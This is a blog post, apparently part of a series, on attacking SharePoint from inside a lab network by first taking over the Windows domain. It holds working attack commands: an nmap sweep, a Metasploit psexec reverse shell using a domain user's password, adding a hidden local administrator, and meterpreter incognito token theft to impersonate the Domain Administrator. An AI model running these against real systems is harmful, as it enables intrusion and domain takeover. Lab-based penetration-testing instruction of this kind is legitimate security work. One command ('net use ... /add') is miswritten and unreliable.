Attacking the SharePoint Server from the Inside – Part 1

So over the past year or so I have spent time talking and writing about “Hacking SharePoint“, and of course “Protecting SharePoint” A series of blog posts can be found here below:

However in this series I wanted to change the attack vector, to be an internal attack from someone within the network. This type of attack is very different as the user performing the attack already has some level of network access, so as far as SharePoint is probably concerned they are “trusted” person. This does make it much more complicated to identify a hack versus legitimate traffic, however there are products out there that will help you to manage this, I will not however be talking about those.

So where do we begin, well let’s start by introducing the tool of choice. I am going to be using a Linux Virtual Machine which I have installed Metasploit onto. This is a great tool for just about any “Penetration Testing” or “Hacking” depending what you are doing.

So to begin my LAB Network is made up of the following:

Windows Server 2012 R2, Active Directory Server, also running as a Certificate Authority
Windows Server 2012 R2, Web Application Firewall
Windows Server Core 2012 R2, Active Directory Federated Services
Windows Server Core 2012 R2, SQL 2014 Database Server
Windows Server 2012 R2, SharePoint 2013 Enterprise Application Server
Windows Server 2012 R2, SharePoint 2013 Enterprise Front End Server
Windows 8.1 Enterprise, Client and Development Workstation

This gives me the footprint of a typical environment where SharePoint would be installed. All of these servers are behind an external Firewall, which does not allow anything out, so no external entry points. My “Testing” workstation is a Virtual Machine running Kali Linux and sits on the same network as the rest of the servers. This simulates what can happen within organizations, Virtual Machine software can be installed and unidentified to the network or domain, machines added to the network without any restrictions. Obviously the key here to fix this is policies applied to the network, domain and workstations to disallow this.

Anyway we are not here to talk about how to fix it, we are here to look at what we can do. So let’s work through the plan of things to do. Remember the key here is that we already have a set of credentials, on the corporate domain, so we have some access already. To get what we need, which would be to attack the SharePoint Servers successfully, which in reality means we were able to “escalate” our privileges beyond what we already have, we must first look at the other network services before we even start on the SharePoint Server(s).

The core steps of “Penetration Testing” or “Hacking“, they are the same really, except one you know about the other you may not, are very simple. The common outline is below:

Reconnaissance
Fingerprinting
Application Analysis
Threat Analysis
Exploitation

These simple steps, though complicated will be the process we will follow.

So what do we start with?
First off we need to focus on scanning the network to find hosts and names, then we need to focus heavily on the domain controller and domain to see if we get compromise that and escalate our permissions which will then make the SharePoint Attack very easy.

Scanning for hosts
This can be done by simply checking the IP address of your workstation or as in my case the Virtual Machine. This will give us the subnet we reside on so we know what range to scan for now. My machine as it is running Linux, needs to use the “ifconfig” command and returns the following output.

So now we know what the network is, we can then run “Nmap” and scan the whole network. This is achieved using the following syntax.

nmap –sn 192.168.1.1-255

This returns the list of devices, their IP Address and MAC Address. In my output it lists all my devices but the ones I am interested in are tagged as “VMWARE“, these are the Virtual Machines running on my “VSphere Hypervisor” servers.

Now the issue is, I do not know which of these machines, is the domain controller, so I need to run further commands using these IP addresses.

nmap –A 192.168.1.100

Once this has completed we should now get detailed information of the host.

Open Ports

Machine Details

So my domain controller has been found, domain name found and operating system found. So now we can target specific exploits we know about, with the purpose of elevating our account.

Connectivity Test
To test if we can actually connect to the domain controller we are going to use “Metasploit“. My installation was done using the latest and greatest from Github which is found here: https://github.com/rapid7/metasploit-framework

On my machine in a console window I navigate to my “Metasploit Framework” folder.

cd metasploit-framework

Once within the folder, we need to actually launch the application. This done using the following command.

./msfconsole

This will launch the application displaying a loading message.

Now we have it loaded we need a quick understanding of how it works. The key to using the tool, comes down to the context you are currently in. Right now we are sitting at the “msf” prompt which allows us to type various commands, but the main one we need right now is “show exploits“. This will list out the set of exploits currently available on your build of “Metasploit“, this can take some time and there will be lots and lots of them. As we are working with windows, if we scroll down to the windows exploits you can see a whole bunch of them that we could use. The screen shot below lists some of the Antivirus exploits we could use.

As this is our first connectivity test we simply want to get a connection, and the easiest way to do this is a simple reverse TCP connection. So we will use the exploit listed below.

use exploit/windows/smb/psexec

We should now be sitting at the “msf exploit (psexec)” command prompt now. Next we need to see what options need setting for this exploit. To do this we type “show options“.

For this exploit we need the following details:

Parameter Name	Description	Needed Values
RHOST	Target Address	192.168.1.100
PAYLOAD	Payload Exploit	windows/shell/reverse_tcp
LHOST	Linux Workstation IP	192.168.1.19
LPORT	Linux Workstation Listening Port	4444
SMBUSER	Account	jsmith
SMBPASS	Account Password	Pass@word1

We could have used any of the accounts listed in the domain.

NOTE: All the accounts are regular domain users. The “John Smith” account has local server rights to the domain controller only, so this is the account we will use. However we don’t have to perform the tasks needed directly on the domain controller at all, we could choose any of the servers on the domain.

To set the values we use the “SET” command with the parameters above as needed.

set RHOST 192.168.1.100
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.1.19
set LPORT 4444
set SMBUser jsmith
set SMBPass Pass@word1

If we now run “show options” we should see our updates.

Now we can run “exploit” which will run the reverse TCP shell with the parameters we set. When this completes you will see that we now have a remote “command” line within the Linux console.

You may experience an “Access Denied” if the account does not have the correct permissions when running this against any server.

The account I am using has local elevated rights to the server, but not the domain, so this type of attack works. Once we have an a command shell like this then we can run really any command that can be done directly on the server. If we have the correct access we can then add new accounts using standard command line syntax within the windows shell we have presented in the exploit window.

net use _hacker Pass@word1 /add
net localgroup Administrators _hacker /add

Even though we have an account that is a local administrator we still need to somehow elevate this account to be a domain level administrator that can be used across all servers.

If go back and change the payload to the following we can run some other attacks to see if we can elevate the account.

set PAYLOAD windows/meterpreter/reverse_https

This will allow us to keep a session open to the server and then run other “post” exploits. We set the parameters as before, and then run “exploit“. Once we have the session open we need to run the following:

load incognito

This tool is designed to steal and re-use authentication hash and tokens. If we run the first command, this will return delegation and impersonate tokens we can use.

list_tokens -u

In my environment I am presented with the following options.

Of course I would like to become the “KONESIS\Administrator” account. To achieve this we need to instruct the interpreter to impersonate.

impersonate_token KONESIS\\Administrator

Next our obvious choice would be to run a “command” window in the context of that user account. This is done by using the “execute” command.

execute -f cmd -H -c -i -t

To check that we are the logged onto the Domain Controller as the Domain Administrator now within the command session, we can run “whoami“.

Now we are confirmed as the Domain Administrator there is lots we can do. If we run this “execute” command instead you can see what I mean.

As you can see attacking SharePoint is not all about SharePoint but about the associated and attached services. In this case the domain itself which would give us complete control of the SharePoint should be able to elevate security on the account we have or somehow get the passwords for the other accounts that do have permission. In the next post we will look at other steps we can take to attack SharePoint from the Inside.

Liam Cleary [MVP and MCT]

Architecture, Development, Security, Hacking and anything that I deem as important

Attacking the SharePoint Server from the Inside – Part 1

Like this:

2 thoughts on “Attacking the SharePoint Server from the Inside – Part 1”

Share:

Like this:

2 thoughts on “Attacking the SharePoint Server from the Inside – Part 1”